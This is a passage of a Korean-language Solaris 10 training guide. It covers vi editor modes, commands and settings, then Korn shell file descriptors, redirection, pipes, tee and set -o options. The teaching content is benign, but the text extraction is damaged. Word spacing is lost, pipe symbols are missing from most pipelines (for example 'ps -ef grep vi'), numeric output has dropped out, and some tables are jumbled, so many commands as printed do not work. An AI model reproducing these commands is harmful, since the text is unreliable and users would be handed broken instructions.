202 (2). vi 편집기실행하기 vi 편집기를사용하는일반적인형식은다음과같다. $ vi 새파일을편집할수있는화면이나온다. 여기서작업을한후에는반드시파일이름을지정하여저장하여주어야한다. 예 ) : w filename ( 최하위행모드 ) $ vi filename filename 이름을가진파일이존재하는경우해당파일을편집하고 filename 이름을가진파일이존재하지않는경우새파일을편집할수있는화면상태가된다. $ vi -R filename Readonly, 파일을 Readonly 상태로열어준다. 중요한파일, 여러사람이동시에수정가능한파일을다룰때편리하게사용될수있다. view 명령어와동일한기능을수행할수있다. $ vi -r filename Recovery, 이전 vi 편집작업중비정상적으로작업이끝난경우편집하던파일복구시에사용된다. 이경우사용자의메일로복구할파일에대한정보가오게된다. $ vi -L 이전 vi 편집작업중비정상적으로작업이끝난경우복구할파일들에대한전체적인목록을볼수있다. $ vi +38 filename $ vi -c 38 filename 편집작업에들어갈때특별한명령어를수행하면서시작하는경우사용한다. 예 ) vi +38 filename(38 번째라인부터시작 ) vi -c 38 filename( 위와같은의미 ) vi 편집기가동작하는원리를보면다음과같이버퍼에서작업을하게된다. 그러므로저장을시키는명령어를입력하지않는이상디스크상에파일의내용으로저장되는것은아니다. [EX1] vi -r filename 형식의예 # mailx... ( 중략 )... A copy of an editor buffer of your file "/etc/vfstab" was saved on solaris254 when the system went down. This buffer can be retrieved using the "recover" command of the editor. An easy way to do this is to give the command "vi -r /etc/vfstab". This works for "edit" and "ex" also. [EX2] vi -L 형식의예 # vi -L /usr/preserve/root: On Mon Mar 23 at 14:20, saved 34 lines of file "/.profile" On Mon Apr 06 at 19:47, saved 30 lines of file "/etc/timezone" On Wed Oct 22 at 21:20, saved 27 lines of file "/etc/dfs/dfstab" /var/tmp: No files saved

203 (3). vi Mode 변경 vi 편집기에서는 3 가지모드가지원된다. 명령행모드 (Comand Mode). 입력행모드 (Input Mode), 최하위행모드 (Last Line Mode) 가지원이된다. 명령행모드는편집작업및기타명령어를입력할수있는모드이고입력행모드는입력만할수있는모드이다. 최하위행모드는저장및기타검색작업등을할수있는모드이다. Command Mode(Edit Mode) Input Mode(Insert Mode) Last Line Mode(Ex Mode) 키입력을명령어로해석키입력을파일에입력 ex 명령어를수행 [ 그림 ] vi 편집기모드변환 i(insert), a(append), o(open line) 명령행모드에서입력모드전환 vi 편집기를실행하면기본적인모드는명령행모드이다. 입력이되지않는상태이며명령어를입력하여편집이나이동등을수행할수있다. 명령행모드에서입력을하기위해서는입력모드로전환해야한다. 명령행모드에서입력모드로전환할때입력할수있는것들은다음과같다. a, A, i, I, o, O, c, C, s, S, R 입력모드에서명령행모드전환입력모드에서명령행모드로다시전환하기위해서는 ESC 키를입력하면된다. ESC 를여러번누르는것이 vi 편집기동작에이상을주지않기때문에어떤모드인지인식하지못하는경우 ESC 키를치면항상명령행모드에서시작할수있게된다. 명령행모드에서최하위행모드전환명령행모드에서최하위행모드로전환하기위해서는 :(Colon), /(Slash),?(Question Mark) 등을입력할수있다. /,? 문자를입력하는경우는 vi 편집기에서찾기 (Search) 기능을사용하는경우이다. : 문자를입력하는경우는저장 (Save) 과나가기 (Quit) 기능및강제저장 (Force Saving), 찾아서바꾸기 (Search & Replace) 등과같은기능을사용하는경우이다. 최하위행모드에서명령행모드전환최하위행모드에서명령행모드로전환하기위해서는엔터 (Return) 키를누르면된다

204 [ 참고 ] vi 편집기의화면구성 vi 편집기의화면은다음과같이구성되어있다. 파일내용 파일의내용을입력하면커서 (Cursor) 의위치에입력이된다. 파일실질적인내용이들어있는 부분이다. 공간보유자 여러개의틸드 (~) 로표시가나는줄이존재하고이틸드표시는아직문자입력이되지않은줄 을뜻한다. 하지만실제내용에는없는것이다. 파일이름 편집하고파일의이름이다. vi 편집기실행시특별하게파일의이름을지정하지않은경우에는 나타나지않는부분이다. 하지만파일의이름을명시한경우편집파일의이름이나타난다. 모드표시 기본적으로모드를표시해주지않지만최하위행모드에서 set showmode" 을통해모드변경에 대한사항을이부분에서나타낼수있다

205 (4). 입력행모드 (Input Mode) vi 편집기실행시기본모드는명령행모드이다. 명령행모드에서입력을하기위해서는입력행모드로전환해야한다. 이런경우다음과같은문자를통해입력모드로전환할수있다. a, A, i, I, o, O Insert - i : 현재커서위치로부터입력한다. - I : 현재커서가있는행의처음부터입력한다. Append - a : 현재커서위치이후부터입력한다. - A : 현재커서가있는행의마지막부터입력한다. Open Line - o : 현재커서가있는아래행부터입력한다. - O : 현재커서가있는위행부터입력한다. (4). 명령행모드 (Command Mode) (4.1) 이동 (Move) 좌우이동 : (h, l), (w, b), (0(^), $) 상하이동 : (j, k), (<CTRL + F>, <CTRL + B>), (H, L), (G, ng, 1G) [ 참고 ] :5 (=5G), :10 (=10G), 5, 10 h l w b 0(^) $ j k : 한문자왼쪽으로이동 ( ) : 한문자오른쪽으로이동 ( ) : 한단어오른쪽으로이동 : 한단어왼쪽으로이동 : 라인의처음문자 ( 라인의처음 ) 으로이동 : 라인의마지막으로이동 : 한문자아래로이동 ( ), 다음라인으로이동 : 한문자위로이동 ( ), 이전라인으로이동 <CTRL + F> <CTRL + B> : 다음페이지로이동 : 이전페이지로이동 H L 1G G : 현재페이지의가장첫번째줄로이동 : 현재페이지의가장마지막줄로이동 : 문서의첫번째라인으로이동 : 문서의마지막라인으로이동

206 (4.2) 삭제 (Delete) 좌우삭제 : x, dw, (d0, d$), dd 상하삭제 : dd, 3dd, (:1,3d), (dg, d1g) [ 참고 ] dd(=d), 3dd(=3D) x dw d0 d$ dd 3dd :1,3d dg d1g : 현재커서한글자삭제 : 현재커서한단어삭제 : 현재커서부터라인의처음까지삭제 : 현재커서부터라인의마지막까지삭제 : 현재라인삭제 : 현재커서라인을포함해서아래로 3개라인삭제 : 1번째라인부터 3번째라인까지삭제 : 현재커서라인부터문서마지막까지삭제 : 현재커서라인부터문서처음까지삭제 (4.3) 복사 / 붙이기 (Copy/Yank & Paste) yy(=y), 3yy(=3Y), p or P :1,3 co 5 :1,3 m 5 yy : 현재라인복사 (Yank) 3yy : 현재커서라인포함해서하위의 3개의라인복사 :1,3 co 5 : 첫번째라인부터 3번째라인까지복사하여 5번째라인아래에붙이기 :1,3 m 5 : 첫번째라인부터 3번째라인까지 5번째라인아래에이동하기 p P : 현재커서아래에붙이기 : 현재커서위에붙이기 (4.4) 검색 (Search) /New, n or N?New n or N /New?New n N : 현재커서라인부터찾을려는문자열 ( 예 : New) 검색 : 문서의마지막라인부터찾을려는문자열 ( 예 : New) 검색 : n(next), 정방향으로다음번째검색 : N(Next), 역방향으로다음번째검색

207 (4.5) 검색 / 바꾸기 (Search & Replace) :%s/< 찾을문자열 >/< 바꿀문자열 >/g :5,10s/Old/New/g [ 참고 ] "< 찾을문자열 >" 에는 " 정규표현식 " 을사용할수있다. EX) :%s/hello/hello/g 1,$ => 5,10s/HELLO/hello/g search globally => %s/hello/hello/, %s/hello/hello/g EX) :5,10s/^/#/ :5,10s/^#// -> 주석처리 -> 주석해제 :5,10s/^/ / (4 blank character) -> 들여쓰기 :5,10s/^ // -> 내어쓰기 :%s/hello/hello/g :1,$s/hello/HELLO/g :5,10s/^/#/ : 문서전체에서 hello를검색해서 HELLO로변환 : 문서전체에서 hello를검색해서 HELLO로변환 : 5번째라인부터 10번째까지라인의처음부분에 # 처리 (4.6) Undo u, U u U : 바로이전에상태로되돌림 : 라인전체에대해이전상태로되돌림 (4.7) Join Line J J : 현재라인에아래라인붙이기 (4.8) Replace r, R r R : 현재글자를대치 : <ESC> 키를누르기전까지현재글자대치

208 (4.9) Save & Quit :w /* w(write), 현재파일에저장하기 */ :w filename /* 다른이름으로저장하기 */ :w!(root use) /* 현재파일에강제적으로저장하기 */ :w! file /* 현재까지의변경사항을 file 로저장 */ :3,10w file /* 3 번째라인부터 10 번째라인까지 file 로저장 */ :q /* q(quit), 편집기종료 */ :q! /* 저장안하고편집기종료 */ :wq /* 저장하고편집기종료 */ :wq!(root Use) /* 현재파일에강제적으로저장하고편집기종료 */ :r file /* file 의내용을현재커서위치에서읽어들임 */ :!CMD /* vi 편집기를빠져나가지않은상태에서쉘명령어를수행 */ [ 참고 ] 저장하고빠져나가기 (Save & Quit) 의여러가지방법 :x :wq ZZ

209 (5). vi 편집기의환경설정 vi 편집기의동작하는기능을변경하기위해서는 set 명령어를사용한다. vi 편집기의기능은ᄀ 기능변수 이름만있는경우와ᄂ 기능변수 = 값 형태로구분할수있다. 기능변수이름만존재하는경우는기능변수앞에ᄀ no 가있는경우와ᄂ no 가없는경우로다시나눌수있다. no 가기능변수앞에있다면기능이되지않은것이고 no 가없다면기능이설정된것이다. set 명령어를최하위행모드에서실행하면기능변수이름에 no 가없이기능이활성화된것들과출력한다. set 명령어다음에기능변수이름을쓰게되면기능이활성화된다. set 명령어다음에기능변수앞에 no 을붙이게되면기능이비활성화된다. set 명령어다음에 all 을사용하면현재편집기에사용가능한모든기능변수들에대한현재설정값을표시한다. (5.1). vi 편집기사용시환경설정 vi 편집기의기능을현재실행되는편집화면에서만변경하기위해서는최하위행모드에서다음과같은방법을사용한다. # cd /test # vi filename... : set /* 변경된 ( 기본값이아닌 ) 옵션확인 */ : set all /* 모든기능 ( 옵션 ) 확인 */ : set number /* 기능 ( 옵션 ) enable */ : set nonumber /* 기능 ( 옵션 ) disable */ : set directory=/tmp /* 지정된기능변경 */ [EX] vi 편집기의기능 (:set all) +- 기능이름 number --> : set number (: set nu) +--- nonumber --> : set nonumber (: set nonu) +- 기능이름 = 값 --> : set 기능이름 = 값 (: set directory=/tmp) vi 편집기의기능 noautoindent nomodelines showmode autoprint nonumber noslowopen noautowrite nonovice tabstop=8 nobeautify nooptimize taglength=0 directory=/var/tmp paragraphs=iplpppqpp LIpplpipnpbtags=tags /usr/lib/tags noedcompatible prompt tagstack noerrorbells readonly term=dtterm noexrc redraw noterse flash remap timeout hardtabs=8 report=5 ttytype=dtterm noignorecase scroll=11 warn nolisp sections=nhshh HUuhsh+c window=23 nolist shell=/bin/ksh wrapscan magic shiftwidth=8 wrapmargin=0 mesg noshowmatch nowriteany

210 [ 참고 ] Useful Options and Abbreviations Options Abbreviation Descriptions autoindent ai supply indent autowrite aw write before changing files directory pathname of directory for temporary work files exrc ex allow vi/ex to read the.exrc in the current directory. This option is set in the EXINIT shell variable or in the.exrc file in the $HOMEdirectory. ignorecase ic ignore case of letters in scanning list magic modelines number nu number lines print ^I for tab, $ at end treat. [ * special in patterns first five lines and last five lines executed as vi/ex commands if they are of the form ex:command: or vi:command: paragraphs para macro names that start paragraphs redraw report scroll simulate smart terminal informs you if the number of lines modified by the last command is greater than the value of the report variable command mode lines sections sect macro names that start sections shiftwidth sw for < >, and input ^D showmatch sm to ) and } as typed showmode smd show insert mode in vi slowopen slow stop updates during insert term window specifies to vi the type of terminal being used (the default is the value of the environment variable TERM) visual mode lines wrapmargin wm automatic line splitting wrapscan ws search around end (or beginning) of buffer

211 (5.2). vi 편집기환경파일 vi 편집기의기능을변경하기위해서는사용자의홈디렉토리안에존재하는.exrc 파일을사용한다. vi 편집기를위한환경파일은따로존재하지않으며기본적으로운영체제설치후에사용자를위해존재하는파일도아니다. 기능을사용하기위해서는새로만들어줘야한다. 이파일은 ex 편집기의환경파일이다. vi 편집기는 ex 편집기의모든기능을포함하므로.exrc 파일의설정은 vi 편집기에서적용된다. 또한 vi 편집기의확장판인 vim 편집기에서도환경파일로사용될수있다. 다음은편집기환경파일과각편집기의상관관계를나타낸것이다. l vi 편집기의환경파일은 ~/.exrc 파일이다. l ~/.exrc 파일은운영체제설치이후에기본적으로존재하는파일이아니다. l 사용자정의를통해서설정을해주어야한다. # cat ~/.exrc set nu showmode sm ai or # cat ~/.exrc set number /* 편집기의라인넘버표시기능 */ set showmode /* 편집기의모드표시기능 */ set showmatch /* 편집기의매칭되는글자표시기능 */ set autoindent /* 편집기의들여쓰기기능 */ # vi filename 1 <----- 라인번호확인 INSERT MODE <----- 모드표시확인 ( 편집기화면의오른쪽하단에표시 ) 1 main() 2 { 3 printf("hello, Oracle. \n"); 4 printf("hello, Solaris. \n"); 5 } # rm /.exrc -> root 사용자의 /.exrc 파일은삭제하고 -> 필요할때마다 set number(set nu) 기능을사용한다

212 Solaris 10 Essential Guide 6. Korn Shell Characteristic l l l l l l l l Redirection Pipe Korn Shell Function Variable Korn Shell Metacharacter History Alias Environment Files 콘쉘의개요 일반적인유닉스환경에서쉘은명령어해석기 (Command Interpreter) 라고불린다. 이런쉘의종류들은본셀 (sh, Bourne shell), 콘쉘 (ksh, Korn Shell), C 쉘 (csh), TC 쉘 (tcsh), Z 쉘 (zsh), 배시쉘 (Bash, Bash Shell) 이며솔라리스시스템에서기본적으로지원하고있다. 현재많은쉘들이존재한다. 쉘은명령행에서입력되거나스크립트파일에서읽어들이는명령어들을해석함으로써사용자와커널의중계 (Interface) 역할을담당한다. 사용자가로그인하면쉘이시작되고사용자가명령어를입력하면쉘은ᄀ명령행의구분을분석하고, ᄂ리다이렉션, 파이프, 와일드카드, 작업제어등을처리하고, ᄃ명령어를 PATH 변수에서검색하고존재하면실행한다. 쉘의주요기능들중하나는명령행프롬프트에서입력된명령어들을해석하는대화형기능이다. 쉘은명령행에서입력된명령어들을분석해서 토큰 이라는단어단위로해석한다. 토큰은텝이나빈칸, 개행문자등공백으로구분한다. 입력된명령어들에메타문자들이포함되어있으면적절하게처리한다. 쉘은파일입출력과백그라운드작업을처리하며, 명령행에서입력이정상적으로분석되었을경우해당명령어를찾아실행한다. AT&T Bell 연구소의데이비드콘 (David Korn) 은본쉘의상위버전으로콘쉘을제작했다. 콘쉘에는 C 쉘보다더많은기능들이포함되어있다. 콘쉘에추가된기능으로는편집가능한히스토리 (History), 별명 (Alias), 함수 (Function), 정규표현식 (Regular Expression), 와일드카드 (Wild Character), 내장산술연산, 작업제어, 코프로세싱, 특별한디버깅등을들수있다. 본쉘은콘쉘과거의완벽하게호환된다

213 쉘은사용자와커널 (Kernel) 사이에서명령어를해석해주는역할을가진다. 다음은쉘의특징에관한그림이다. Shell Kernel OUTPUT DEVICE CPU RAM DISK OUTPUT DEVICE 1 명령어실행 2 특수문자해석 3 쉘스크립트 4 히스토리 5 프로세스관리 6 입 / 출력제어 쉘의기능을요약해보면다음과같다. 쉘은 PATH 변수에정의된모든디렉토리를참고하여명령어를찾아실행한다. 쉘은파이프, 입 / 출력리다이렉션, 백그라운드프로세싱 (Background Processing) 을설정한다. 쉘은명령어의모임인별칭 (alias), 쉘함수 (Function) 등을찾아실행시킨다. 쉘은 TERM 변수를사용하여서로다른터미널환경을초기화한다. 쉘은명령어자동완성기능을사용하여입력한명령어를기록한다. 쉘은사용자환경정의파일을가지고사용자의환경을초기화한다. 쉘에서실행되는명령어는다음과같이구분할수있다. 또한콘쉘에서명령어를실행하는순서는다음과같이명령어종류를판별한다. 쉘키워드 (Keyword) 쉘별칭 (alias) 쉘내장명령어 ( 내부명령어 ) 쉘함수 (Function) 쉘스크립트 ( 쉘프로그램, 디스크에존재하는명령어 ) 실행명령어 ( 실행프로그램, 디스크에존재하는명령어 ) 별명과함수는쉘의메모리에정의된다. 내부명령어는쉘안의내부수행과정인반면, 실행프로그램은디스크에위치한다. 쉘은 PATH 변수를검색하여디스크에서실행할수있는프로그램을찾고, 해당명령어가실행되기전에자식프로세스를만들어놓는다. 쉘의특징 (Shell Function) - 명령어해석기 (Command Interpreter) - 프로그램할수있는언어 (Programable Language) -> 쉘스크립트 or 쉘프로그램 [ 참고문서 ] 쉘스크립트교재 l -> " 솔라리스쉘프로그램 " 게시판 -> 98번자료

214 방향재지정 (Redirection) fd( 파일기술자, File Descriptor) 각프로세스를위한파일기술자 (File Descriptor) 가쉘에의해만들어진다. 한개의파일을열면그연파일을나타내는특별한숫자를쉘이만들어내는데이것이파일기술자이다. 이런번호들중미리예약되어져서파일을열때주어지지않는번호가있는데아래표와같다. 파일기술자 (File Descriptor) 란? l 프로세스가파일을열때할당되는번호 l 프로세스의열린파일을구분할때사용하는식별번호 [EX] 프로그램에서의파일기술자 (File Descriptor) main() { int fd; fd=open(...); } 예약되어진파일기술자 (File Descriptor) 파일기술자축약의미설명 0 stdin 1 stdout 2 stderr Standard Input, 표준입력, 특별히입력이지정되지않은경우키보드에서입력을받는다. Standard Ouput, 표준출력, 특별히출력이지정되지않은경우모니터로출력된다. Standard Error, 표준에러, 특별히출력이지정되지않은경우에러출력도모니터로출력된다. 솔라리스시스템에서파일기술자에대한정보는 /proc 디렉토리하위에존재하는각프로세스의 PID(Process ID) 번호디렉토리하위에 fd 디렉토리에서확인할수있고또한 /dev/fd 디렉토링하위에서도파일기술자에번호를확인할수있다. 하지만번호들은열어볼수는없는파일들이다. 다음은파일기술자에대한확인을하기위한테스트이다. 가상터미널 1 에서 /etc/passwd 파일을열고다른가상터미널 2 에서현재동작중인프로세스를확인한후프로세스가열고있는파일을확인해보면새로운 3(File Descriptor) 가생성된것을확인한것이다. [ 가상터미널 1] [/]# vi /etc/passwd... [ 중략 ]... [ 가상터미널 2] [/]# ps -ef grep vi root :57:00 pts/2 0:00 vi /etc/passwd [/]# cd /proc/1105/fd [/proc/1105/fd]# ls -l c root tty 24, 2 3월 27일 02:56 0 c root tty 24, 2 3월 27일 02:56 1 c root tty 24, 2 3월 27일 02:56 2 -rw root other 월 27일 02:56 3 [/proc/1105/fd]# file 3 3: ascii text

215 [/proc/1105/fd]# cat 3 k F/etc/passwd k F(&(8(N(\(v(?? )@)j):x:4:4:admin:/var/adm:lp:x:71:8:line Printer Admin:/usr/spool/lp:uucp:x:5:5:uucp Admin:/usr/lib/uucp:nuucp:x:9:9:uucp Admin:/var/spool/uucppublic: /usr/lib/uucp/uucicosmmsp:x:25:25:sendmail Message Submission Program:/:listen:x:37:4:Network Admin:/usr/net/nls:nobody:x:60001:60001:Nobody:/:noaccess:x:60002:60002:No Access User:/:nobody4:x:65534:65534:SunOS 4.x Nobody:/:user01:x:100:100:: /export/home/user01:/bin/kshpermuser:x:103:1::/export/home/permuser:/bin/kshuser02:x:104:1 ::/export/home/user02:/bin/ksh[/ 쉘에서는명령어입력을키보드 (Keyboad) 에서받는다. 그리고명령어의출력결과를모니터에출력해준다. 솔라리스시스템에서는이런한명령어의출력결과나입 / 출력을리다이렉션심볼 (Redirection Symbol) 을사용하여방향을재지정할수있다. SHELL Standard Input (stdout 0) Default: Keyboad Standard Output (stdout 1) Default: screen Standard Error (stderr 2) Default: screen [EX1] 표준출력, 표준에러의예다음은표준입 / 출력 / 에러리다이렉션개념에대한예이다. 다음과같이 ls 명령어를수행하면모니터에는정상적인출력결과 (Standard Output) 와에러메세지 (Standard Error) 가모니터에남게된다. 이것은특별하게정상적인출력결과 (Standard Output) 와에러메세지 (Standard Error) 의출력방향이지정되지않은경우모니터 (Screen) 에출력하기때문이다. # ls /var /nodir /nodir: No such file or directory /var: adm/ cron/ ldap/ nis/ saf/ tsol/ apache/ dhcp/ lib/ ntp/ samba/ uucp/ apache2/ dmi/ log/ opt/ scn/ webconsole/ audit/ dt/ lp/ patchsvr/ sma_snmp/ yp/ cacao/ fm/ mail/ pkg-get/ snmp/ cache/ imq/ mysql/ postgres/ spool/ cc-ccr/ inet/ named/ preserve/ statmon/ core/ krb5/ news/ run/ svc/ crash/ ld/ nfs/ sadm/ tmp/

216 [EX2] 표준입력, 표준출력의예 cat 명령어다음에특별한입력지정이없으면키보드에서입력을받고, 특별하게출력지정이없으면모니터에출력한다. cat 명령어다음에 Redirection Standard Input 기호 (<) 다음에 /etc/passwd 파일을입력하면, 표준입력대신에 /etc/passwd 파일을입력으로받아들인다. 하지만, 표준출력은지정이없으므로모니터에출력된다. cat 명령어다음에 Redirection Standard Output 기호 (>) 다음에 filename 파일을입력하면, 표준입력에서입력을받아서 filename 으로출력을한다. 그럼 filename 파일이생성된다. # cat Hello /* stdin */ Hello /* stdout */ Solaris Solaris <CTRL + D> # cat < /etc/passwd /* < : Redirection Stdin */ -> 파일의내용출력 # cat > filename /* > : Redirection Stdout */ Hello Solaris <CTRL + D> # cat filename hello Solaris

217 (1.1) 입력재지정 (Redirection stdin) 입력재지정은표준입력 (Stdin) 에서입력을받지않고, 다른쪽에서입력을받는것을입력재지정 (Redirection stdin) 이라고한다. 원래특별한지정이없다면, 키보드에서입력을받지만다른쪽방향에서입력을받는것을말한다. [FORMAT] CMD < filename CMD 0< filename CMD << filename(x) => Here Documentation [EX1] mailx 명령어를통한메일보내기 # mailx -s "OK : solarisxxx" root@example.com < report.txt or # mailx root@example.com Subject: OK : solarisxxx test mail for user01 <CTRL + D> or <.> # [EX2] at 명령어수행 # at 1300 at> echo test at> <CTRL + D> or # cat test.sh (# chmod 755 test.sh) echo test # at 1300 < test.sh <---- 메일제목입력 ("Solaris TEST") <---- 내용입력 <---- <CTRL + D> 입력 (1.2) 출력재지정 (Redirection stdout) 출력재지정은표준출력으로출력을하지않고, 다른쪽으로출력하는것을출력재지정 (Redirection stdout) 이라고한다. 원래특별한지정이없다면, 모니터로출력되지만다른쪽방향으로출력하는것을말한다. [FORMAT] CMD > filename CMD 1> filename CMD >> filename CMD 1>> filename # ls -l > file.txt (# ls -l 1> file.txt) # cat file.txt ----file # echo 1111 > file1 # cat file1 # echo 2222 > file1 # cat file1 # echo 3333 >> file1 # cat file1 [ 참고 ] '>>'( 출력리다이렉션 ) 을사용한파일내용추가

218 (1.3) 에러재지정 (Redirection stderr) 에러재지정은표준에러로출력하지않고, 다른쪽으로출력하는것을에러재지정 (Redirection stderr) 이라고한다. 원래특별한지정이없다면, 모니터로출력을하지만다른쪽으로출력하는것을말한다. [FORMAT] CMD 2> filename CMD 2>> filename # ls /var /nodir > file.txt Standard Output Standard Error # ls /var /nodir 2> file.txt Standard Output Standard Error # ls /var /nodir > file1.txt 2> file2.txt Standard Output Standard Error # ls /var /nodir > file1.txt 2>&1 [ 참고 ] Redirection : CMD > filename PIPE : CMD CMD # ls -l 1> 1 (# ls -l > 1) [ 참고 ] 터미널출력이있는명령어수행시주의사항 # script.sh > file.log (X) # script.sh > file.log 2>&1 (0) [ 참고 ] CMD 2>/dev/null 일반사용자전체시스템의파일과디렉토리목록중에 core 파일을찾을려고할때검색할려고하는내용보다권한이되지않아서 'Permission Denied' 에러메세지가더많이출력되는경우가존재할수있다. 이런경우명령어의마지막에 '2>/dev/null' 을붙여서에러메세지는보지않고정상적인출력결과만보는경우가있다. # su - user01 $ id $ find / -name core -type f $ find / -name core -type f 2>/dev/null $ exit [ 참고 ] confiugre --prefix=/usr/local/apache 2> apache.log #./configure --prefix=/usr/local/apache 2> apache.log #./configure --prefix=/usr/local/apache > apache.log 2>&1 [ 참고 ] 명령어수행결과파일로저장 # CMD (EX: # pkgchk -v SUNWman) # CMD > file.log (# cat file.log) (EX: # pkgchk -v SUNWman > file.log) # CMD > file.log 2>&1 (# cat file.log) (EX: # pkgchk -v SUNWman > file.log 2>&1)

219 파이프 (PIPE) 파이프는파이프기호앞에명령어를, 파이프기호뒤에명령어를입력한다. 앞의명령어의출력결과를다음단의명령어에입력으로동작한다. [FORMAT] CMD CMD Kernel Buffer # ls -l grep file # ls -l > file.txt # grep file file.txt [EX] pipe 활용예파이프다음에 tee 명령어를연결하여사용하면, 모니터에도정상적인출력결과를볼수도있고, 파일에도기록을남길수있다. tee 명령어는로그파일을모니터링할때유용하게사용될수있다. # ps -ef more (# CMD more) 한페이지가넘는페이지출력방법지정 # ps -ef grep inetd (# CMD grep inetd) 앞단의명령어의출력결과중패턴검색 tee 명령어 [ 참고 ] tee 명령어 # ps -ef grep inetd > file.log A # ps -ef grep inetd tee file.log file.log [EX1] tee 명령어실습 CMD > file.log CMD tee file.log # cal 2002 > file1.log # cal 2002 tee file2.log ( 다른예 ) # while [ 1 ] > do > ps -ef grep httpd wc -l tee -a file.log /* -a : append */ > sleep 5 > done [EX2] tee 명령어를통한화면공유하기 [TERM1] 첫번째터미널 ( 화면을공유할터미널 ) # tty /dev/pts/5 [TERM2] 두번째터미널 ( 화면을공유할터미널 ) # tty /dev/pts/6 [TERM3] 명령어실행터미널 # script -a /dev/null tee /dev/pts/5 tee /dev/pts/6 # ( 여러가지명령어수행 )

220 콘쉘의기능 (Korn Shell Function) # set -o /* 콘쉘자체의기능전체목록확인 */... ignoreeof off... noclobber off... vi off... # set -o vi /* 콘쉘자체의기능중 vi 기능을 ON */ # set +o vi /* 콘쉘자체의기능중 vi 기능을 OFF */ ksh 기능 Current option settings allexport off bgnice on emacs off /* 기본적인편집기선언 */ errexit off gmacs off ignoreeof off /* 로그아웃방지기능선언 */ interactive on keyword off markdirs off monitor on noexec off noclobber off /* 덮어쓰기방지기능선언 */ noglob off nolog off notify off nounset off privileged off restricted off trackall off /* 자주사용되는명령어 alias 선언기능 */ verbose off vi on /* 기본적인편집기선언 */ viraw off xtrace off

221 [ 참고 ] set -o OPTIONS allexport errexit bgnice emacs gmacs ignoreeof keyword markdirs monitor noclobber noexec noglob nolog notify nounset privileged verbose trackall vi viraw xtrace Same as -a. Same as -e. All background jobs are run at a lower priority. This is the default mode. Puts you in an emacs style in-line editor for command entry. Puts you in a gmacs style inline editor for command entry. The shell does not exit oneof. The command exit must be used. Same as -k. All directory names resulting from file name generation have a trailing / appended. Same as -m. Prevents redirection > from truncating existing files. Require > to truncate a file when turned on. Equivalent to -C. Same as -n. Same as -f. Do not save function definitions in history file. Equivalent to -b. Same as -u. Same as -p. Same as -v. Same as -h. Puts you in insert mode of a vi style in-line editor until you hit escape character 033. This puts you in control mode. A return sends the line. Each character is processed as it is typed in vi mode. Same as -x

222 l set -o noclobber : '>' 기호를통해서파일에덮어쓰는경우를방지한다. l set -o vi : 기본적인편집기를 vi 편집기로선언한다. l set -o ignoreeof : <CTRL + D> 를통해프로그램 ( 쉘 ) 을종료하는경우를방지한다. (3.1) 파일덮어쓰기방지기능 l Redirection Stdout(>) 을통해서파일에 Overwrite 되는경우를방지한다. ksh: file1: file already exists 1111 set -o noclobber # set -o noclobber /* set -o noclobber 기능 ON */ # set -o grep noclobber /* noclobber 기능설정확인 */ # echo 1111 > file1 # echo 2222 > file1 # cat file1 <----- 메세지확인 [ 참고 ] noclobber 옵션무시 noclobber 쉘옵션의기능을 > 을사용하여무시하도록만들어줄수있다. noclobber 쉘옵션이설정이되어있는것에상관없이동작하게된다. 다음은 filename 파일에 1111 이라는내용을입력하였지만 noclobber 옵션때문에기록되지않는다. 그래서 > " 를사용하여파일안에내용을기록한예이다. 그리고 noclobber 옵션을켜지않은상태에서도동작하는것을볼수있다. [/]# echo 1111 > filename ksh: filename: file already exists [/]# echo 2222 > filename [/]# set +o noclobber [/]# echo 3333 > filename [/]# cat filename

223 (3.2) 파일이름자동완성기능 & 명령행편집 (Filename Completion & Command Line Edit) l 쉘에서기본적인편집기선언할때사용 l 쉘의기본적인편집기가 vi가된다면 2가지기능이 ON 된다. 명령행편집 (Command Line Edit) 파일이름자동완성기능 (Filename Completion) set -o vi set -o emacs ( 기본적인편집기선언종류 ) # set -o vi # export EDITOR=/usr/bin/vi # export VISUAL=/usr/bin/vi (a). 명령행편집 (Command Line Edit) k (pre-cmd) j (back-cmd) h(<-), l(->) w, b, dd, d$, d0 [EX] "Command Line Edit" 기능실습 ( 이전명령어편집하여사용하기 ) # find / -name core -type f <CTRL + C> # <ESC><K> # find / -name file1 -type f ( 이전에수행된명령어를확장하여사용하기 ) # df -h # df -h / # df -h / tail -1 # df -h / tail -1 awk '{print $5}' # df -h -F ufs # df -h -F ufs sort -k 4 # df -h -F ufs sort -k 4 -n # df -h -F ufs sort -k 4 -n -r # ps -ef head # ps -ef head sort -k 2 # ps -ef head sort -k 2 -n # ps -ef head sort -k 2 -n -r # cat /etc/services # cat /etc/services more # cat /etc/services wc -l

224 (b). 파일이름자동완성기능 (Filename Completion) ( 실습준비 ) /test dirname1 (directory) file.log (egular file) ( 파일이름자동완성기능실습 ) # cd dir<esc><\> /test dirname1 (directory) file.log (egular file) dir2 (directory) # cd /test # mkdir dir2 # cd dir<esc><\> <ESC><=> 1) dir2/ 2) dirname1/ # cd dir<a>n<esc><\>

225 ( 정리 ) 긴이름을가진파일 / 디렉토리다루기 (a). 파일이름자동완성기능사용 (b). 와일드카드사용 (c). 복사 & 붙이기 [ 참고 ] 긴형태의이름다루는방법 [ 참고 ] 와일드카드 (Wild Card) /test dirname1 (directory) file.log (file) dir2 (directory) # cd /test # cd dirn* # vi *.log # vi f* # vi *1104* [ 참고 ] Copy & Paste (1). Select, Drag & Drop (2). Mouse Right Button Click & Edit Menu Selection (3). CTRL + Insert, Shift + Insert # echo $TERM xterm # cd /test ; ls file.log dirname1 dir2 # cd (<---->) -> 선택 ( 예 : dirname1) -> 오른쪽마우스클릭 -> 복사 (Copy) -> 오른쪽마우스클릭 -> 붙이기 (Paste) # dtterm & # echo $TERM dtterm # cd /test ; ls file.log dirname1 dir2 # cd (<---->) 선택 ( 예 : dirname1) 오른쪽마우스클릭편집 (Edit) -> 복사 (Copy, CTRL + Insert) 오른쪽마우스클릭편집 (Edit) -> 붙이기 (Paste, Shift + Insert) # cd /test ; ls file.log dirname1 dir2 # cd <CTRL + Insert><Shift + Insert> # exit # echo $TERM xterm # cd /test ; ls file.log dirname1 dir

226 # cd (<---->) <Shift + Insert>

